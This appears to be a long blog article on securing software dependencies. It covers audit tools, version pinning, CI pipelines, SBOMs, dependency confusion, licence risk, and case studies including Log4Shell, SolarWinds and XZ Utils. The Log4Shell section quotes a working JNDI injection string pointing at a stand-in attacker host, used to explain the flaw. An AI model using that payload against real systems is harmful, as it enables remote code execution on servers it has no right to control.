Published
- 30 min read
The Importance of Dependency Management in Security
How to Write, Ship, and Maintain Code Without Shipping Vulnerabilities
A hands-on security guide for developers and IT professionals who ship real software. Build, deploy, and maintain secure systems without slowing down or drowning in theory.
Buy the book now
Practical Digital Survival for Whistleblowers, Journalists, and Activists
A practical guide to digital anonymity for people who can’t afford to be identified. Designed for whistleblowers, journalists, and activists operating under real-world risk.
Buy the book now
The Digital Fortress: How to Stay Safe Online
A simple, no-jargon guide to protecting your digital life from everyday threats. Learn how to secure your accounts, devices, and privacy with practical steps anyone can follow.
Buy the book nowIntroduction
In modern software development, dependencies are a cornerstone of efficiency and functionality. Open-source libraries, third-party frameworks, and package managers enable developers to build applications faster by leveraging pre-built components. However, these dependencies also introduce potential security risks if not managed properly.
This article explores the critical role of dependency management in application security, the risks associated with unverified dependencies, and best practices to safeguard your projects against vulnerabilities.
Why Dependency Management Matters
Dependencies simplify development by providing reusable components for common tasks. However, they also create an expanded attack surface for malicious actors. A single vulnerable or compromised dependency can compromise the entire application.
Key Risks of Poor Dependency Management:
- Insecure Dependencies:
- Libraries with known vulnerabilities can serve as entry points for attackers.
- Malicious Code Insertion:
- Attackers may inject malicious code into popular packages, affecting all applications that use them.
- Supply Chain Attacks:
- Targeting the software supply chain to compromise dependencies before they are included in applications.
- Licensing Issues:
- Unverified dependencies may violate licensing agreements, leading to legal complications.
- Outdated Libraries:
- Deprecated dependencies may lack security patches, leaving applications exposed.
Common Vulnerabilities in Dependencies
1. Known Vulnerabilities
Many libraries have publicly disclosed vulnerabilities listed in databases like the National Vulnerability Database (NVD) or CVE (Common Vulnerabilities and Exposures). Failing to update these libraries leaves applications exposed.
Example:
A vulnerability in the log4j library (CVE-2021-44228) allowed remote code execution, impacting millions of applications worldwide.
2. Typosquatting and Malicious Packages
Attackers often create packages with names similar to popular libraries (e.g., lodashs instead of lodash). Developers who accidentally install these packages expose their applications to malicious code.
3. Over-Permissioned Dependencies
Some libraries request unnecessary permissions, potentially enabling data exfiltration or other malicious actions.
Best Practices for Secure Dependency Management
1. Regularly Update Dependencies
Outdated dependencies are a common source of vulnerabilities. Keep all libraries and frameworks updated to their latest stable versions.
Tools:
- Dependabot: Automates dependency updates in GitHub repositories.
- Snyk: Identifies outdated or vulnerable packages.
2. Use Trusted Sources
Download dependencies only from verified sources like official repositories (e.g., npm, PyPI, Maven Central). Avoid untrusted or unofficial mirrors.
3. Perform Vulnerability Scans
Use automated tools to scan for vulnerabilities in your dependencies. These tools check against databases of known vulnerabilities and recommend fixes.
Popular Tools:
- OWASP Dependency-Check: Analyzes project dependencies for vulnerabilities.
- Retire.js: Detects outdated or vulnerable JavaScript libraries.
4. Monitor for Supply Chain Attacks
Stay informed about supply chain attacks targeting popular libraries. Implement monitoring systems that alert you to compromised dependencies.
5. Minimize Dependency Footprint
Include only the libraries you absolutely need. Avoid overloading your project with unnecessary dependencies, as each addition increases the attack surface.
Example (Node.js):
Instead of including a large library for basic functionality, write a custom implementation for simple tasks.
6. Lock Dependency Versions
Use lock files (package-lock.json, requirements.txt) to ensure consistent versions of dependencies across environments. Avoid using wildcard or latest version indicators (*, latest) in dependency files.
7. Verify Open-Source Contributions
Review the source code of dependencies, especially for small or newly introduced libraries. Verify the maintainers and activity level of the project.
8. Implement Dependency Policies
Establish policies for including new dependencies in your projects. For example:
- Require a security review before adding a dependency.
- Set guidelines for acceptable licenses and permissions.
9. Use Sandboxing Techniques
Run dependencies in isolated environments to limit the potential damage of malicious behavior. Containers or virtual machines can provide additional layers of protection.
Real-World Example of Dependency Management Gone Wrong
The Event-Stream Incident
In 2018, a popular Node.js library, event-stream, was compromised by a malicious maintainer. The injected code targeted a specific cryptocurrency application, demonstrating how supply chain attacks can affect dependencies and their users.
Lessons Learned:
- Regularly audit dependencies for changes in ownership or behavior.
- Monitor for unusual activity in your applications.
Testing Your Dependencies
Testing dependencies for security vulnerabilities is a critical step in ensuring application security. Here are some techniques:
Automated Scanning
Use tools to scan dependencies for known vulnerabilities:
- Snyk: Provides detailed reports on vulnerabilities and suggests fixes.
- npm audit: Identifies vulnerabilities in Node.js dependencies.
Manual Code Review
Manually review the source code of critical dependencies to identify potential risks.
Dependency-Freezing
Before deploying applications, freeze dependency versions to ensure stability and security.
The Role of Developers in Dependency Security
Developers play a crucial role in managing dependencies securely. By fostering a culture of security and staying informed about emerging threats, development teams can proactively address risks.
Steps to Encourage Secure Practices:
- Provide training on dependency management tools and techniques.
- Conduct regular code reviews focusing on dependency usage.
- Share updates on known vulnerabilities within the team.
Practical Dependency Auditing Workflows
Knowing that vulnerable dependencies exist is one thing — having a repeatable, reliable process for finding and acting on them is another. A dependency audit workflow should run continuously throughout a project’s lifecycle, not just at release time. Reactive security — scanning only when something goes wrong — leaves organisations perpetually behind. Proactive, automated auditing surfaces vulnerabilities days or weeks earlier, which is exactly the kind of lead time needed to patch, test, and redeploy before attackers weaponise a newly published CVE.
Each major language ecosystem ships its own audit tooling, and the workflows differ slightly. What matters most is consistency: the same audit that runs on a developer’s machine should run identically in CI and in the scheduled weekly scan. Differences in tool versions or configuration between environments create blind spots where vulnerabilities can slip through undetected.
npm audit (Node.js / JavaScript)
npm audit queries the npm security advisory database and cross-references every package in your node_modules tree against known CVEs. Running it is straightforward:
# Basic audit — prints a summary table
npm audit
# Machine-readable JSON output (great for CI pipelines)
npm audit --json
# Automatically apply safe (non-breaking) fixes
npm audit fix
# Apply fixes that include semver-major bumps (use with caution)
npm audit fix --force
Each finding is accompanied by a severity rating (critical, high, moderate, low), the vulnerable package name, the affected version range, and a recommended remediation. Start with all critical and high findings before moving to lower severities. Reserve --force for controlled upgrades in non-production branches, since it may introduce breaking API changes.
For pnpm-based projects (including the build chain for this blog), the equivalent command is:
pnpm audit
pnpm audit --fix
pip-audit (Python)
pip-audit scans a Python environment or a requirements.txt file against the Open Source Vulnerabilities (OSV) database and optionally the PyPI advisory database.
# Install the tool
pip install pip-audit
# Audit the current virtual environment
pip-audit
# Audit a specific requirements file
pip-audit -r requirements.txt
# Output in JSON for CI ingestion
pip-audit --format json -o audit-results.json
# Audit and suggest fixes
pip-audit --fix
A typical finding looks like:
Name Version ID Fix Versions
----------- -------- ------------------- ------------
cryptography 3.3.2 PYSEC-2023-1234 41.0.0
Running pip-audit in a fresh virtual environment (not globally) is considered best practice because it restricts the audit scope to the packages your application actually uses.
Snyk CLI
Snyk extends beyond what package-manager-native tools offer. It covers npm, pip, Maven, Gradle, Go modules, Ruby Gems, and more. Crucially, it also scans container images and Infrastructure as Code files.
# Install globally
npm install -g snyk
# Authenticate (one-time)
snyk auth
# Audit a Node.js project
snyk test
# Audit a Python project
snyk test --file=requirements.txt
# Monitor the project and send results to the Snyk dashboard
snyk monitor
# Generate a detailed HTML report
snyk test --json | snyk-to-html -o report.html
Snyk enriches each vulnerability with an exploit maturity indicator (proof-of-concept, functional exploit, no known exploit), which helps triage. A vulnerability with a functional, publicly available exploit needs immediate attention regardless of its CVSS score.
Building an Audit Cadence
Ad-hoc scans are insufficient. Effective teams embed auditing into at least three moments:
- Pre-commit hook — lightweight
npm audit --audit-level=criticalto block committing code that introduces critical issues. - CI pipeline gate — full audit on every pull request; fail the build if high or critical findings appear.
- Scheduled weekly scan — a cron-triggered job that re-audits the main branch even when no code has changed, catching newly published advisories.
Supply Chain Attack Case Studies
Software supply chain attacks target the tools and libraries that developers trust, turning that trust into a weapon. These incidents offer critical lessons about how even well-maintained, widely used components can become vectors for catastrophic breaches. Studying them is not merely an academic exercise. Each case reveals a concrete gap in common security assumptions, and understanding those gaps is the first step toward closing them in your own environment.
Log4Shell — CVE-2021-44228
Disclosed in December 2021, the Log4Shell vulnerability in Apache Log4j 2 became one of the most impactful security events in modern software history. The flaw enabled unauthenticated Remote Code Execution (RCE) through a single log message. Because Log4j is embedded in thousands of Java applications — from enterprise middleware to embedded firmware — the blast radius was enormous. Estimates put the number of affected devices in the hundreds of millions.
The attack worked by logging a specially crafted string such as ${jndi:ldap://attacker.com/a}. Log4j would faithfully fetch and execute the remote class, giving an attacker complete control of the host. CVSS score: 10.0 (Critical). Within 72 hours of the vulnerability becoming public knowledge, threat intelligence firms observed over 800,000 exploitation attempts daily, including from nation-state actors and ransomware operators.
Lessons for developers:
- Know which libraries are in your dependency tree, especially deeply nested transitive ones. Log4j was in many projects as a transitive dependency, invisible to teams who never explicitly declared it.
- Subscribe to security advisories for your tech stack so you hear about critical CVEs within hours, not days.
- Inventory your attack surface: which applications log user-controlled strings? (The answer is almost all of them.)
SolarWinds Orion Attack (2020)
In 2020, nation-state actors (attributed to Russia’s SVR) compromised the build pipeline of SolarWinds, a widely used IT monitoring vendor. Malicious code was inserted into the Orion software update mechanism, meaning that up to 18,000 organisations — including multiple US federal agencies — automatically installed a backdoor by trusting a digitally signed, legitimate-looking software update.
This was not a vulnerability in an open-source library. It was a compromise of a trusted vendor’s internal build system. The attackers had access to the SolarWinds build environment for months before the malicious update was distributed, using that time to carefully craft an implant, named Sunburst, that blended seamlessly into legitimate Orion code. The malware lay dormant for two weeks after installation to evade sandbox analysis before beginning its communication with command and control infrastructure. The attack demonstrated that supply chain security must extend beyond scanning package registries.
Lessons for developers:
- Validate the integrity of your build tools and CI/CD infrastructure, not just your application dependencies.
- Use reproducible builds so the same source code always produces the same binary output, making unauthorised insertions detectable.
- Implement code-signing checks and verify publisher identity at every stage of the delivery chain.
event-stream (2018)
As briefly mentioned earlier in this article, the event-stream npm package (downloaded ~2 million times per week at its peak) was compromised after its original author handed maintainership to an unknown developer. The new maintainer injected a malicious dependency (flatmap-stream) that contained obfuscated code designed to steal bitcoin wallets from applications using a specific Copay wallet. The obfuscation was sophisticated enough that it passed multiple dependency scans undetected for weeks. It was eventually discovered by a developer who noticed an unusual test fixture in the package.
Lessons for developers:
- Monitor packages for ownership or maintainer changes. Services like Socket.dev flag when a new maintainer publishes a version.
- Review changelogs and diffs when a dependency bumps a minor or patch version, especially if the package is no longer actively developed.
- Be suspicious of packages that suddenly add new transitive dependencies without a clear rationale.
XZ Utils Backdoor (CVE-2024-3094)
In early 2024, a contributor known as “Jia Tan” — now strongly suspected to be a nation-state actor who spent two years building credibility — nearly inserted a backdoor into xz-utils, a compression library present in virtually every Linux distribution. The backdoor targeted sshd and would have enabled unauthorised remote access to affected servers. It was caught almost by chance by a Microsoft engineer who noticed unexpectedly high CPU usage in a Debian testing environment. The discovery prompted an immediate global effort to audit how widely the compromised version had been packaged and distributed.
The attack’s most alarming characteristic was its patience. The attacker spent over two years contributing legitimate fixes and improvements to the project, building the trust of existing maintainers and acquiring commit access, before embedding the backdoor. This timeline — measured in years rather than days — represents a level of sophistication that most technical security controls are not designed to detect.
Lessons for developers:
- Open-source maintainer identity and social engineering are attack vectors, not just code vulnerabilities.
- Community projects benefit enormously from multiple maintainers and mandatory code review, even for “trusted” contributors.
- SBOM tooling helps organisations quickly identify if a newly disclosed backdoor affects their estate.
Dependency Pinning Strategies and Trade-offs
Pinning means specifying the exact versions of your dependencies rather than allowing a range. It is one of the most effective controls for ensuring reproducible, predictable builds — but it comes with operational costs.
Version Range Specifiers
Most package managers support range syntax. Understanding it is essential before choosing a pinning strategy:
// package.json examples
"lodash": "4.17.21", // Exact pin — only version 4.17.21
"lodash": "^4.17.21", // Caret — compatible patch/minor: 4.x.x >= 4.17.21
"lodash": "~4.17.21", // Tilde — compatible patch: 4.17.x >= 4.17.21
"lodash": "*", // Wildcard — any version (very dangerous)
"lodash": ">=4.0.0" // Range — anything >= 4.0.0
# pyproject.toml / Poetry examples
lodash = ">=4.17,<5" # Range
lodash = "4.17.21" # Exact pin
Lock Files
Lock files (package-lock.json, pnpm-lock.yaml, yarn.lock, poetry.lock, Pipfile.lock) record the resolved version of every package — including transitive dependencies — at the time of initial installation. They are your most powerful reproducibility tool.
Always commit lock files to version control. Projects that .gitignore their lock files lose all reproducibility guarantees and silently receive new dependency versions with every clean install.
Hash Pinning
Some ecosystems support pinning to a cryptographic hash rather than just a version number. This prevents tampering even if an attacker manages to upload a malicious version under the same version tag.
# pip with hashes (requirements.txt)
requests==2.31.0 \
--hash=sha256:58cd2187423839... \
--hash=sha256:942c5a758f98d790...
# npm package-lock.json automatically includes integrity hashes
# "integrity": "sha512-abc123..."
Trade-offs at a Glance
| Strategy | Reproducibility | Security | Maintenance Overhead | Auto-receives Patches |
|---|---|---|---|---|
Exact pin (4.17.21) | Excellent | Best — audited version | High — manual updates | No |
| Lock file (auto) | Excellent | Good — controlled | Medium | On update command |
Caret range (^4.17.21) | Moderate | Moderate — auto-minor/patch | Low | Yes (within major) |
Tilde range (~4.17.21) | Moderate | Good — auto-patch only | Low | Yes (patch only) |
Wildcard (*) | None | Poor — unpredictable | None | Yes (any version) |
For production environments, favour exact pins managed with an automated update tool (Dependabot, Renovate) that opens pull requests with changelogs and CI results. This gives you the security benefits of exact pinning without the manual overhead of tracking upstream releases yourself. Each automated PR represents a small, reviewable unit of change — far easier to validate than a large batch of dependency updates accumulated over several months. Teams that delay updates and batch them tend to encounter difficult merge conflicts, broader test failures, and a higher chance of missing a security-relevant changelog entry buried among dozens of routine version bumps.
Renovate vs. Dependabot
Both tools automate the process of keeping pinned versions up to date. Renovate is more configurable (grouping updates, custom schedules, semantic commit messages) while Dependabot is deeply integrated with GitHub and simpler to set up. For most teams, either is a significant improvement over manual dependency tracking.
Dependency Management Tools: A Comparison
Choosing the right tooling depends on your stack, team size, and the depth of insight you need. The table below compares the most widely adopted options:
| Tool | Languages | Free Tier | CI/CD Integration | Transitive Deps | Fix PRs | SCA / SBOM |
|---|---|---|---|---|---|---|
| npm audit | JavaScript / Node.js | Yes (built-in) | Native | Yes | Partial | No |
| pip-audit | Python | Yes (open-source) | CLI flag | Yes | --fix flag | No |
| OWASP Dependency-Check | Java, .NET, Python, JS, Ruby | Yes (open-source) | Jenkins, GitHub Actions, Azure DevOps | Yes | No (report only) | CycloneDX |
| Snyk | 10+ languages, containers, IaC | Yes (limited) | GitHub, GitLab, Bitbucket, Circle CI | Yes | Auto PR | Yes |
| Dependabot | 10+ ecosystems | Yes (GitHub) | GitHub native | Yes | Auto PR | No |
| Renovate | 30+ ecosystems | Yes (open-source) | Any CI | Yes | Auto PR | No |
| JFrog Xray | Universal | No (commercial) | JFrog Pipelines, Jenkins | Yes | No (report only) | Yes |
| Socket.dev | npm / PyPI | Freemium | GitHub PR checks | Yes | No | Partial |
Choosing the Right Tool for Your Workflow
- Small JavaScript project on GitHub: Start with npm audit in CI and enable Dependabot — zero configuration, high value.
- Python microservices: Use
pip-auditin CI and consider Snyk for richer advisory data. - Polyglot enterprise monorepo: OWASP Dependency-Check or Snyk, integrated into your existing CI platform, provides consistent coverage across all languages.
- Regulated industry (finance, healthcare): JFrog Xray or Snyk Enterprise, both of which offer SBOM generation, policy enforcement, and audit trails required for compliance frameworks like SOC 2 and ISO 27001.
CI/CD Automation for Dependency Security
Embedding dependency security into your CI/CD pipeline transforms it from a periodic exercise into a continuous, automatic control. The goal is to make insecure builds impossible to merge, not just visible.
GitHub Actions: npm + Snyk
# .github/workflows/dependency-security.yml
name: Dependency Security Check
on:
push:
branches: [main, develop]
pull_request:
schedule:
- cron: '0 6 * * 1' # Every Monday at 06:00 UTC
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Node.js
uses: actions/setup-node@v4
with:
node-version: '20'
cache: 'npm'
- name: Install dependencies
run: npm ci
- name: Run npm audit (fail on critical/high)
run: npm audit --audit-level=high
- name: Run Snyk vulnerability scan
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
args: --severity-threshold=high
Two key observations here: npm ci (not npm install) is used in CI to perform a clean, lock-file-faithful install that detects drift between package.json and package-lock.json. The --audit-level=high flag fails the pipeline for high and critical vulnerabilities while letting low/moderate ones pass — a pragmatic threshold for most teams.
GitHub Actions: Python with pip-audit
python-audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install pip-audit
run: pip install pip-audit
- name: Audit Python dependencies
run: pip-audit -r requirements.txt --format json -o pip-audit-results.json
- name: Upload audit results
uses: actions/upload-artifact@v4
if: always() # Upload even if the audit step failed
with:
name: pip-audit-results
path: pip-audit-results.json
GitLab CI Example
# .gitlab-ci.yml snippet
dependency_scan:
stage: test
image: node:20-alpine
script:
- npm ci
- npm audit --audit-level=high
rules:
- if: '$CI_PIPELINE_SOURCE == "merge_request_event"'
- if: '$CI_COMMIT_BRANCH == "main"'
artifacts:
when: always
paths:
- npm-audit.json
expire_in: 30 days
OWASP Dependency-Check in a Pipeline
For Java/Maven projects, the OWASP Dependency-Check Maven plugin integrates cleanly:
<!-- pom.xml -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>12.2.0</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
<formats>
<format>HTML</format>
<format>JSON</format>
</formats>
</configuration>
<executions>
<execution>
<goals><goal>check</goal></goals>
</execution>
</executions>
</plugin>
The failBuildOnCVSS parameter sets a numeric CVSS score threshold (7 = high). Builds with any dependency carrying a CVSS ≥ 7 will fail automatically.
Dashboard and Reporting
For larger teams, forwarding audit results to a centralised dashboard (OWASP Dependency-Track, Snyk dashboard, or a SIEM) provides an organisation-wide view. This is especially valuable for tracking remediation SLAs: “all critical vulnerabilities resolved within 24 hours” is an enforceable policy when your dashboard shows current status in real time.
Common Mistakes and Anti-Patterns
Even security-aware teams fall into predictable traps. Recognising these patterns early saves considerable pain later.
1. Ignoring Lock Files or Not Committing Them
As discussed in the pinning section, unchecked lock files mean every npm install or pip install may silently resolve to a different set of transitive dependency versions. This makes builds non-reproducible and can introduce vulnerabilities between a developer’s machine and the CI server.
2. Accepting All npm audit fix --force Changes Blindly
The --force flag can upgrade packages across major version boundaries, introducing breaking changes. Teams sometimes run it under time pressure and inadvertently break functionality. Always review the diff produced by --force in a branch before merging.
3. Using latest as a Version Specifier
// DANGEROUS — do not do this
"dependencies": {
"express": "latest"
}
latest is not a lock. It resolves to whatever is newest at install time, making your dependency tree non-deterministic and vulnerable to any newly published malicious or buggy version.
4. Treating devDependencies as Risk-Free
Tools installed only in your development environment — test runners, bundlers, code generators — can still be compromised and can execute arbitrary code during the build. The xz-utils backdoor example demonstrates that build-toolchain integrity matters as much as runtime dependency security.
5. Accumulating Unused Dependencies
A common anti-pattern is adding a package for a feature that was later removed but leaving the dependency in package.json. Unused packages still appear in audit results and still expand your attack surface. Regularly prune dead code and its associated dependencies.
# Find unused npm packages
npx depcheck
# Find unused Python imports (indirect)
pip install autoflake
autoflake --check --remove-all-unused-imports .
6. Ignoring Transitive Dependency Vulnerabilities
When a scanner reports a vulnerability in a transitive dependency (a package your code does not directly import), teams sometimes dismiss it as “not our problem.” This is incorrect. Your application loads and executes that code. If the vulnerability is exploitable in your context, you are at risk regardless of whether you declared the package directly.
7. Treating Audit as a One-Time Gate
Running an audit only before a release gives a false sense of security. New vulnerabilities are published daily. A package that passed audit on Monday might have a critical CVE by Friday. Scheduled CI scans and advisory service subscriptions close this gap.
Understanding Transitive Dependencies
A direct dependency is a package you explicitly declare in your manifest (package.json, requirements.txt, pom.xml). A transitive dependency is a package that your direct dependency relies on — and it may have its own transitive dependencies, creating a deeply nested graph. The distinction matters enormously from a security standpoint: when you run npm install express, you are not just accepting express itself, you are accepting the entire sub-graph of packages it depends on. In large enterprise JavaScript projects, a manifest with thirty direct dependencies can easily resolve to three hundred or more total packages in node_modules. Each of those packages represents a potential entry point for an attacker.
Security audit tools that operate only on your top-level manifest miss the overwhelming majority of real-world vulnerabilities. Virtually every production-affecting CVE disclosed in the npm ecosystem in recent years — from event-stream to ua-parser-js — was a transitive dependency for most affected applications. Building accurate mental models of your dependency tree, and investing in tooling that traverses it fully, is a foundational competency for any team serious about supply chain security.
The diagram below illustrates how a seemingly small package.json with three direct dependencies can expand into a dependency tree containing dozens of packages:
graph TD
App["Your Application"]
App --> A["[email protected] (direct)"]
App --> B["[email protected] (direct)"]
App --> C["[email protected] (direct)"]
A --> D["[email protected]"]
A --> E["[email protected]"]
A --> F["[email protected]"]
E --> G["[email protected]"]
E --> H["[email protected]"]
C --> I["[email protected]"]
C --> F
style I fill:#ff6b6b,color:#fff
style App fill:#4ecdc4,color:#fff
In this diagram, follow-redirects (highlighted in red) has had multiple CVEs, yet it does not appear in the developer’s package.json at all. Auditing only direct dependencies would miss it entirely.
Why Dependency Depth Matters
Modern JavaScript applications can have hundreds or even thousands of transitive dependencies. The npm ls command and pip show <package> can help trace a transitive dependency back to which direct dependency introduced it:
# Show the full dependency tree (Node.js)
npm ls
# Show which package depends on a specific transitive dep
npm ls follow-redirects
# Python — show why a package is installed
pip show requests | grep Required-by
Once you identify which direct dependency is dragging in the vulnerable transitive one, you have two options: upgrade the direct dependency (which usually drags in a fixed transitive version), or use package manager overrides to force a specific version.
// package.json — force a specific transitive version (npm overrides)
{
"overrides": {
"follow-redirects": "^1.15.6"
}
}
Use overrides sparingly and only as a temporary bridge while waiting for the upstream dependency to ship a fix. They bypass semver compatibility guarantees and can introduce subtle bugs.
Software Bill of Materials (SBOM)
A Software Bill of Materials is a machine-readable inventory of every component in a software product — direct and transitive dependencies, their versions, hashes, licensing information, and known vulnerabilities. Think of it as the ingredient label for software.
Why SBOMs Matter
Following SolarWinds and Log4Shell, both the US Executive Order 14028 (May 2021) on improving the nation’s cybersecurity and the EU Cyber Resilience Act (2024) have moved SBOMs from a best practice to a regulatory requirement for software sold to government and critical infrastructure.
Even for teams not subject to these regulations, SBOMs provide immediate operational value:
- Incident response speed: When Log4Shell was announced, organisations with SBOMs could answer “are we affected?” in minutes. Those without them spent days manually auditing.
- Licence compliance: SBOMs surface GPL and LGPL licences that may conflict with commercial distribution plans.
- Vendor due diligence: Procurement teams can require SBOMs from software vendors to assess the risk of purchased components.
Generating an SBOM
The two dominant SBOM formats are CycloneDX and SPDX. Most tooling supports both:
# Generate a CycloneDX SBOM for a Node.js project
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
# Generate an SBOM with Syft (multi-language)
syft . -o cyclonedx-json=sbom.json
syft . -o spdx-json=sbom.spdx.json
# Generate with pip in Python
pip install cyclonedx-bom
cyclonedx-py environment -o sbom.xml
Integrating SBOMs into the Supply Chain
A common pattern is to generate an SBOM as part of every CI build and attach it as a signed build artifact. Tools like OWASP Dependency-Track can ingest these SBOMs continuously, cross-reference them against the NVD and OSV databases, and alert you when a component in any of your SBOMs receives a new advisory — even after the software has shipped.
# GitHub Actions — generate and upload SBOM
- name: Generate SBOM
uses: anchore/sbom-action@v0
with:
path: .
format: cyclonedx-json
output-file: sbom.json
- name: Upload SBOM artifact
uses: actions/upload-artifact@v4
with:
name: sbom
path: sbom.json
Treating SBOMs as living documents — regenerated on every build, versioned, and signed — is the gold standard. It ensures that your component inventory always reflects the actual deployed state of your application.
Dependency Confusion and Namespace Attacks
Beyond compromised packages, attackers have developed a clever class of exploitation that requires no code injection at all — they rely entirely on how package managers resolve dependency names. This family of attacks, broadly called dependency confusion or namespace confusion, exploits the difference between private internal packages and public registry packages.
In a dependency confusion attack, a developer’s organisation uses a private package registry for internal packages — for example, a package named @mycompany/auth-utils. If that package name is not also registered on the public npm registry, and if the developer’s machine or CI system is configured to check the public registry as a fallback, an attacker can publish a malicious package to npm under the same name with a higher version number. The package manager, obeying semver rules, will happily pull the “newer” public version instead of the private one. The attacker’s code then runs in the victim’s build environment with whatever privileges that process holds.
Security researcher Alex Birsan demonstrated this attack in 2021, successfully gaining code execution inside systems at Apple, Microsoft, Uber, Shopify, PayPal, and dozens of other companies — all by publishing public packages with names that matched known internal packages. None of the target companies had registered those names on public package managers.
Mitigating Dependency Confusion
The defences are straightforward once you understand the vector. First, register all your private package names on public registries even if you publish no actual content to them — this squats the namespace and prevents attackers from claiming it. Second, configure your package manager to use only a specific, controlled registry and never fall back to public ones for internal packages.
With npm, this is done via a scoped registry configuration:
# .npmrc — point the @mycompany scope to your private registry exclusively
@mycompany:registry=https://registry.mycompany.internal
always-auth=true
For pip and Python, configure pip.conf to list only your private PyPI mirror for internal packages, or use tools like pip-audit with --index-url to restrict resolution. With Maven, set <mirrorOf>*</mirrorOf> in your settings.xml to route all artifact resolution through your internal Nexus or Artifactory instance.
Third, version your internal packages carefully. If your private @mycompany/auth-utils is at version 1.2.3, bump it to 10.0.0. Most attackers upload versions starting low; a high-numbered internal version will still win.
Finally, Subresource Integrity (SRI) hashes and package signing further reduce the window for this attack. Signing your internal packages with a key that only your registry trusts means even a correctly-named public package cannot masquerade as yours.
Responding to a Newly Disclosed Vulnerability
When a new CVE affecting your dependency stack is announced — whether through a security advisory email, a Dependabot alert, or a colleague’s Slack message — having a pre-defined response process removes panic and reduces time-to-remediation.
Step 1: Assess Exposure
Not every vulnerability in your dependency tree is reachable by your application. The first question is: does your code actually call the vulnerable code path? A remote code execution vulnerability in an XML parsing library is irrelevant if your application never processes XML from untrusted sources. Review the CVE description and understand the attack vector, required attacker privileges, and the specific functions affected before determining urgency.
Tools like Snyk and GitHub’s security advisories often provide “reachability analysis” — a static analysis pass that determines whether your code actually invokes the vulnerable function. A vulnerability rated “high” can be effectively downgraded in priority if it is unreachable in your application’s execution paths. Document this assessment in your issue tracker; you will need it if auditors ask why you did not immediately patch a high-CVSS finding.
Step 2: Determine Fix Availability
Check whether a patched version of the vulnerable package has been released. If yes, the path forward is to update your dependency, run your full test suite, and deploy. If no patch is available, you have several options: apply a workaround prescribed by the advisory (such as disabling a specific feature or sanitising inputs before passing them to the library), fork and patch the library yourself as a temporary measure, or replace the library entirely with a maintained alternative.
Step 3: Test Before Deploying
Never push a dependency update directly to production without running tests. Even a seemingly innocent patch-level version bump can introduce subtle behavioural changes. Run your unit tests, integration tests, and any security tests you have. If your security test coverage is weak in the affected area, write a targeted test that exercises the vulnerability to confirm you are protected.
Step 4: Communicate and Document
Once a fix is deployed, communicate the timeline to stakeholders: when was the vulnerability disclosed, when was it detected in your environment, when was it patched, and what was the potential impact window. This information feeds into your security metrics and demonstrates operational security maturity to customers and compliance auditors.
If you temporarily accepted the risk (decided not to patch immediately due to low reachability), record that decision formally. An unacknowledged vulnerability in your tracker looks like negligence; an acknowledged one with a documented risk-acceptance rationale looks like mature risk management.
Licence Risk and Legal Considerations
A dependency vulnerability is not always a technical exploit. Licence violations can expose organisations to legal action and financial penalties, and they are a category of dependency risk that developers frequently underestimate or ignore entirely.
Every open-source package you include carries a licence that governs how you may use, modify, and distribute it. The major licence families carry very different obligations:
The Permissive-to-Copyleft Spectrum
Permissive licences (MIT, BSD-2-Clause, Apache 2.0) impose minimal obligations. You must retain copyright notices and, in the case of Apache 2.0, include a copy of the licence. You can use these packages in proprietary commercial software without issue. The vast majority of the npm ecosystem falls into this category.
Weak copyleft licences (LGPL, Mozilla Public License) require that modifications to the licensed library itself be shared under the same licence, but they permit linking from proprietary code. Organisations sometimes mistake LGPL for “completely free to use in closed-source products” without understanding the distinction between static and dynamic linking implications.
Strong copyleft licences (GPL, AGPL) require that any software distributed to users that incorporates or links to the licensed code must itself be released under the same or a compatible copyleft licence. Including an AGPL-licensed package in your SaaS backend can, depending on legal interpretation, require you to release your entire backend source code. The AGPL in particular was designed explicitly to close the “SaaS loophole” in the GPL.
Scanning for Licence Issues
Several tools can audit the licences across your entire dependency tree:
- licensee (Ruby, also works for npm): automatically identifies licence types across a project.
- license-checker (npm): produces a CSV or JSON report of every package and its licence.
- pip-licenses (Python): generates licence reports for installed packages.
- FOSSA (commercial, multi-language): provides policy enforcement, legal review workflows, and integration with CI.
Running licence audits in CI alongside vulnerability audits ensures that new dependencies introduced by any developer are assessed for both security and legal compliance before they merge. For organisations building commercial software, a policy that flags any GPL or AGPL dependency for mandatory legal review is a reasonable baseline.
Building a Security-Conscious Dependency Culture
Technology alone is insufficient. The most sophisticated scanning toolchain will fail if developers ignore alerts, skip reviews, or treat security as a separate team’s concern. The teams with the best outcomes treat dependency security as a shared, everyday engineering discipline — not a compliance checkbox.
Start with Awareness and Education
Many developers are unaware of the scale of the dependency risk they accept. When a junior developer adds a package to solve a 10-line problem, they may be unaware that the package brings 40 transitive dependencies and last received a security update three years ago. Training sessions, internal tech talks, and annotated code review comments that explain the reasoning behind dependency decisions go further than written policies in building genuine understanding.
Effective training covers the basics: how to read a CVE advisory, how CVSS scores work, how to trace a vulnerable transitive dependency back to the direct dependency that introduced it, and how to use the audit tools available in your stack. Short, hands-on workshops with real CVEs from your actual dependency tree are more memorable than abstract lectures.
Establish a Dependency Addition Policy
Formalise the process for adding a new dependency. Before accepting a pull request that introduces a new package, reviewers should ask: Is this package actively maintained? When was the last commit? How many open security issues does it have? Does it have a large transitive dependency tree that outweighs its utility? Could the same functionality be achieved with a few lines of code?
A practical rule of thumb: if a package solves a problem you could solve yourself in under 50 lines of well-tested code, do not introduce the dependency. The “left-pad incident” of 2016, where a developer unpublished a trivial 11-line npm package and broke thousands of dependent builds worldwide, is a canonical example of over-reliance on micro-packages.
Assign Dependency Ownership
In large teams, no one feels responsible for keeping dependencies up to date because everyone assumes someone else is doing it. Assign ownership. Whether you rotate responsibility monthly across team members or designate a dedicated “platform security” engineer, having a named person who is accountable for reviewing Dependabot pull requests and acting on audit findings dramatically reduces alert fatigue and ignored findings.
Treat Security Debt Like Technical Debt
Organisations track technical debt in their backlogs; security debt deserves the same treatment. Track known vulnerabilities that have been accepted as low-priority in your issue tracker, alongside their rationale, the date of acceptance, and a review date. Schedule quarterly reviews of all accepted vulnerabilities to ensure the calculus has not changed — a low-severity finding last quarter might have a published exploit this quarter.
